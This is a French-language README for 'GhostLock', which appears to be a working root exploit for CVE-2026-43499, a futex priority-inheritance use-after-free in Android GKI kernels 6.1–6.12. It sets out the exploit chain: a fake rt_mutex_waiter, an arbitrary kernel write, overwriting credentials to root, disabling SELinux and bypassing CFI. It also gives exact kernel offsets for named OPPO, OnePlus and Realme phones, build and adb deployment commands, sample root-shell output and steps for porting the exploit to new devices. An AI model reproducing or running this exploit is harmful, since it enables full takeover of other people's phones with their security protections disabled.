
CVE-2026-43499 futex PI stack UAF ???????? - Android GKI 6.1~6.12 ??????? pselect() + futex PI ????????????,??? root ??? SELinux??? OPPO Find X8?OnePlus ??????
Identifiant CVE : CVE-2026-43499
Type de vulnérabilité : UAF (Use-After-Free) de la pile futex PI (héritage de priorité)
Versions concernées : Noyau Linux 6.1 ~ 6.12 (Android GKI)
Résultat de l'exploitation : Élévation de privilèges locale + désactivation de SELinux, obtention d'un shell root
Espace utilisateur → pselect() → allocation de rt_mutex_waiter sur la pile du noyau
→ les opérations futex PI déclenchent la libération du waiter
→ la mémoire du waiter libéré est réutilisée par les opérations fd_set
→ contrôle des champs du waiter via des données fd_set soigneusement construites
→ rb_erase() déclenche une écriture arbitraire dans la mémoire du noyau
rt_mutex_waiter sur la pile du noyau via pselect() + futex PIpipe_buffer pour construire un faux rt_mutex_waiterrb_erase() pour écrire des pointeurs contrôlés à l'adresse ciblecred : uid/gid → 0, capabilities → toutes activéesselinux_state.enforcing → 0ashmem_fops pour confirmer l'intégrité CFIGhostLock/
├── README.md # Ce document
├── src/
│ ├── core/ # Code d'exploitation principal
│ │ ├── main.c # Point d'entrée principal, déclenchement de la vulnérabilité
│ │ ├── pipe.c # Spray pipe_buffer
│ │ ├── fops.c # Détournement des opérations de fichiers
│ │ ├── root.c # Élévation de privilèges + désactivation de SELinux
│ │ ├── slide.c # Gestion de la randomisation des adresses du noyau
│ │ ├── util.c # Fonctions utilitaires
│ │ ├── miniadb.c # Mini serveur ADB
│ │ ├── common.h # Définitions communes
│ │ ├── target.h # Configuration de la cible
│ │ ├── offset.h # Inclusion des décalages
│ │ ├── runtime_offsets.h # Table des décalages d'exécution
│ │ └── kernelsnitch/ # Sondage des adresses du noyau
│ │ ├── kernelsnitch.h
│ │ ├── futex_hash.h
│ │ ├── utils.h
│ │ └── timeutils.h
│ └── devices/ # Adaptation des appareils
│ ├── offsets.h # Définition de la structure des décalages
│ ├── findx8/ # OPPO Find X8
│ │ └── offsets.h
│ ├── ace6t/ # OnePlus Ace 6T
│ │ └── offsets.h
│ ├── op15/ # OnePlus 15
│ │ └── offsets.h
│ ├── opd2502/ # OnePlus Pad 2
│ │ └── offsets.h
│ └── rmx5070/ # Realme RMX5070
│ └── offsets.h
├── tools/ # Outils auxiliaires
│ └── extract_btf.py # Script d'extraction des décalages BTF
├── btf_*.py # Collection de scripts d'analyse BTF
├── Makefile # Script de construction
├── compile.cmd # Script de compilation Windows
├── build.rsp # Fichier de réponse de compilation
└── ghostlock # Artefact de compilation (ELF aarch64)
# 1. Définir le chemin du NDK
export ANDROID_NDK_HOME=/path/to/android-ndk-r27c
# 2. Compiler
make
# 3. Ou compiler directement avec le NDK
$ANDROID_NDK_HOME/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android35-clang \
--target=aarch64-linux-android35 \
-O2 -Wall -fPIE -pie -pthread \
-Isrc/core -Isrc/devices \
-DTARGET_CONFIG_H=\"target.h\" \
src/core/*.c -o ghostlock
# Utiliser le compile.cmd fourni
compile.cmd
# 1. Vérifier la connexion de l'appareil
adb devices
# 2. Vérifier la version du noyau (doit correspondre)
adb shell uname -r
# Sortie attendue : 6.6.118-android15-8-gebdfad32d749-ab15099304-4k
# 3. Transférer l'exploit vers le téléphone
adb push ghostlock /data/local/tmp/
adb shell chmod 755 /data/local/tmp/ghostlock
# 4. Exécuter l'exploit
adb shell /data/local/tmp/ghostlock
[*] GhostLock - CVE-2026-43499 Local Privilege Escalation
[*] Target kernel: 6.6.118-android15-8-gebdfad32d749-ab15099304-4k
[*] KASLR base: 0xffffffc080000000
[*] ashmem_misc: 0xffffffc08227c518
[*] ashmem_fops: 0xffffffc0812ef5c0
[*] SELinux enforcing: 0xffffffc082358ee0
[*] Exploiting...
[+] PSELECT path activated
[+] Pipe merge path activated
[+] Root shell obtained!
[+] SELinux disabled
[*] miniadb listening on USB...
# (shell root)id affiche uid=0(root)getenforce renvoie PermissiveKIMAGE_TEXT_BASE = 0xffffffc080000000 (Find X8)
PAGE_OFFSET = 0xffffffc000000000
PHYS_OFFSET = 0x40000000
DIRECT_MAP_END = 0xffffffc400000000 (16GB RAM)
direct_map pour localiser mm_structpipe_bufferExtraction de l'image du noyau :
# Extraire boot.img du téléphone
adb pull /dev/block/by-name/boot boot.img
# Ou extraire à partir du pack de firmware
Extraction de kallsyms :
# Utiliser vmlinux-to-elf
python3 -m vmlinux_to_elf boot.img
# Choisir l'option "Extract kallsyms"
Extraction des informations BTF :
python3 btf_task2.py > task_full.txt
python3 btf_structs2.py > structs.txt
Création d'une entrée d'appareil :
mkdir -p src/devices/mydevice
# Copier une entrée existante comme modèle
cp src/devices/findx8/offsets.h src/devices/mydevice/
# Modifier les décalages
Enregistrement de l'appareil :
Ajouter dans src/devices/offsets.h :
#include "mydevice/offsets.h"
# Extraire tous les membres de task_struct
python3 btf_task2.py > task_full.txt
# Extraire toutes les structures clés
python3 btf_structs2.py > structs.txt
# Extraire des structures spécifiques
python3 btf_selinux.py > selinux.txt
python3 btf_mm.py > mm.txt
# Extraire les données BTF brutes
python3 btf_raw.py > raw.txt
# Utiliser vmlinux-to-elf
python3 -m vmlinux_to_elf extracted/Image.bin
# Ou utiliser un script personnalisé
python3 run_kallsyms_finder.py
⚠️ Avertissement : Cet outil est destiné uniquement à la recherche en sécurité et aux tests autorisés. L'utilisation non autorisée sur les appareils d'autrui est illégale.
Cet exploit peut contourner la protection Control Flow Integrity (CFI) du noyau en :
ashmem_fopscopy_splice_read comme cible d'appel légitimeQ : « no offsets for kernel: xxx » apparaît R : La version du noyau n'est pas prise en charge, il faut ajouter une entrée d'appareil
Q : L'exploit reste bloqué R : Il s'agit probablement d'un échec de la condition de course, réessayez plusieurs fois
Q : Un kernel panic se produit R : Peu probable (panic_on_oops n'est pas défini), mais vous pouvez vérifier dmesg
# Activer la sortie détaillée
adb shell /data/local/tmp/ghostlock -v
# Consulter les journaux du noyau
adb shell dmesg | tail -50
Ce projet est distribué sous licence MIT.
Dernière mise à jour : 13 août 2026
Auteur : wzh
Contact : [email protected]
| Appareil | Version du noyau | Statut |
|---|
| OPPO Find X8 (MT6991) | 6.6.118-android15 | ✅ Adapté |
| OnePlus Ace 6T | 6.1.x | ✅ Vérifié |
| OnePlus 15 | 6.1.x | ✅ Vérifié |
| OnePlus Pad 2 | 6.1.x | ✅ Vérifié |
| Realme RMX5070 | 6.1.x | ✅ Vérifié |
| Symbole | Décalage |
|---|
| init_task | 0x0211E280 |
| init_cred | 0x02130748 |
| selinux_enforcing | 0x02358EE0 |
| ashmem_misc | 0x0227C518 |
| ashmem_fops | 0x012EF5C0 |
| kmalloc_caches | 0x0167A298 |
| Structure | Champ | Décalage |
|---|
| task_struct | cred | 0x820 |
| task_struct | real_cred | 0x818 |
| task_struct | tasks | 0x550 |
| task_struct | pi_lock | 0x90C |
| task_struct | seccomp | 0x8E8 |
| cred | uid | 0x08 |
| cred | caps | 0x30 |
| file_operations | ioctl | 0x48 |
| file_operations | splice_read | 0xB8 |
| Information | Source | Outil |
|---|
| Adresses des symboles | kallsyms | vmlinux-to-elf |
| Décalages des structures | BTF | btf_task2.py |
| Disposition de la mémoire physique | IKCONFIG | extract-ikconfig |
| Version du noyau | uname | adb shell uname -r |